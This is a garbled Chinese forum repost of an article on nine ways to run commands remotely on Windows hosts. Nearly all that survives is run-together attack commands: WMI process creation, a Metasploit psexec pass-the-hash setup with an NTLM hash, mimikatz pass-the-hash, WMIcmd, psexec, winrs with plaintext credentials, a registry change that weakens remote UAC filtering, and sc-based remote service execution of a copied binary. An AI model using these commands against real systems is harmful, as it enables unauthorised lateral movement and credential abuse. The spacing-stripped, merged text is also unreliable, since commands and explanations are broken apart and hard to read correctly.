[22283] 2021-08-24_Windows远程命令执行c命令的9种方法

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-18
2021-08-24_Windows远程命令执行cmd命令的9种方法 W i n d o w s c m d 9 L e m o n S e c   2 0 2 1 - 0 8 - 2 4 : 9 c m d 1 . W M I , 2 . 使 使 H a s h W i n d o w s H A S H w i n d o w s   h a s h , a d m i n i s t r a t o r h a s h   5 9 8 D D C E 2 6 6 0 D 3 1 9 3 A A D 3 B 4 3 5 B 5 1 4 0 4 E E : 2 D 2 0 D 2 5 2 A 4 7 9 F 4 8 5 C D F 5 E 1 7 1 D 9 3 9 8 5 B F 3 .   m i m i k a t z h a s h + a t 4 . W M I c m d ,   h t t p s : / / g i t h u b . c o m / n c c g r o u p / W M I c m d / r e l e a s e s 5 . C o b a l t   s t r k i e h a s h I P C $ + A T   4 4 5 P S E X E C   4 4 5 W M I   1 3 5 W i n r m   5 9 8 5 ( H T T P ) & 5 9 8 6 ( H T T P S ) w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 . 1 5 8   / u s e r : p t 0 0 7   / p a s s w o r d : a d m i n 1 2 3     p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   i p c o n f i g > d : r e s u l t . t x t " m s f p a y l o a d u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c   s h o w   o p t i o n s s e t   R H O S T   1 9 2 . 1 6 8 . 8 1 . 1 2 9 s e t   S M B P a s s   5 9 8 D D C E 2 6 6 0 D 3 1 9 3 A A D 3 B 4 3 5 B 5 1 4 0 4 E E : 2 D 2 0 D 2 5 2 A 4 7 9 F 4 8 5 C D F 5 E 1 7 1 D 9 3 9 8 5 B F s e t   S M B U s e r   A d m i n i s t r a t o r s h o w   o p t i o n s r u n m i m i k a t z . e x e   p r i v i l e g e : : d e b u g   " s e k u r l s a : : p t h   / d o m a i n : .   / u s e r : a d m i n i s t r a t o r   / n t l m : 2 D 2 0 D 2 5 2 A 4 7 9 F 4 8 5 C D F 5 E 1 7 1 D 9 3 9 8 5 B F "   / / h a s h d i r   1 9 2 . 1 6 8 . 1 . 1 8 5 c $ W M I c m d . e x e   - h   1 9 2 . 1 6 8 . 1 . 1 5 2   - d   h o s t n a m e   - u   p t 0 0 7   - p   a d m i n 1 2 3   - c   " i p c o n f i g "
6 . p s e x e c . e x e 7 . p s e x e c . v b s 8 . w i n r m 9 . s c / / i p c ( n e t   u s e   +   a t ) b a t e x e s y s t e m   p s e x e c   / a c c e p t e u l a   / / s c   d e l e t e   p s e x e s v c p s e x e c   1 9 2 . 1 6 8 . 1 . 1 8 5   - u   p t 0 0 7   - p   a d m i n 1 2 3   c m d . e x e c s c r i p t   p s e x e c . v b s   1 9 2 . 1 6 8 . 1 . 1 5 8   p t 0 0 7   a d m i n 1 2 3   " i p c o n f i g " / / w i n r m 5 9 8 5 w i n r m   q u i c k c o n f i g   - q w i n r m   s e t   w i n r m / c o n f i g / C l i e n t   @ { T r u s t e d H o s t s = " * " } n e t s t a t   - a n o | f i n d   " 5 9 8 5 " / / w i n r s   - r : h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 5 2 : 5 9 8 5   - u : p t 0 0 7   - p : a d m i n 1 2 3   " w h o a m i   / a l l " w i n r s   - r : h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 5 2 : 5 9 8 5   - u : p t 0 0 7   - p : a d m i n 1 2 3   c m d / / U A C , : r e g   a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s S y s t e m   / v   L o c a l A c c o u n t T o k e n F i l t e r P o l i c y   / t   R E G _ D W O R D   / d   1   / f w i n r s   - r : h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 5 2 : 5 9 8 5   - u : p t 0 0 7   - p : a d m i n 1 2 3   " w h o a m i   / g r o u p s " n e t   u s e   1 9 2 . 1 6 8 . 1 7 . 1 3 8 c $   " a d m i n 1 2 3 "   / u s e r : p t 0 0 7 n e t   u s e d i r   1 9 2 . 1 6 8 . 1 7 . 1 3 8 c $ c o p y   t e s t . e x e   1 9 2 . 1 6 8 . 1 7 . 1 3 8 c $ s c   1 9 2 . 1 6 8 . 1 7 . 1 3 8   c r e a t e   t e s t   b i n p a t h =   " c : t e s t . e x e " s c   1 9 2 . 1 6 8 . 1 7 . 1 3 8   s t a r t   t e s t s c   1 9 2 . 1 6 8 . 1 7 . 1 3 8   d e l   t e s t p t 0 0 7                 h t t p s : / / x z . a l i y u n . c o m / t / 5 9 5 7
S R C C S A p a c h e   T o m c a t     W A R     h a s h h a s h ( 使 ) w e b l o g i c   s p r i n g L e m o n S e c
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则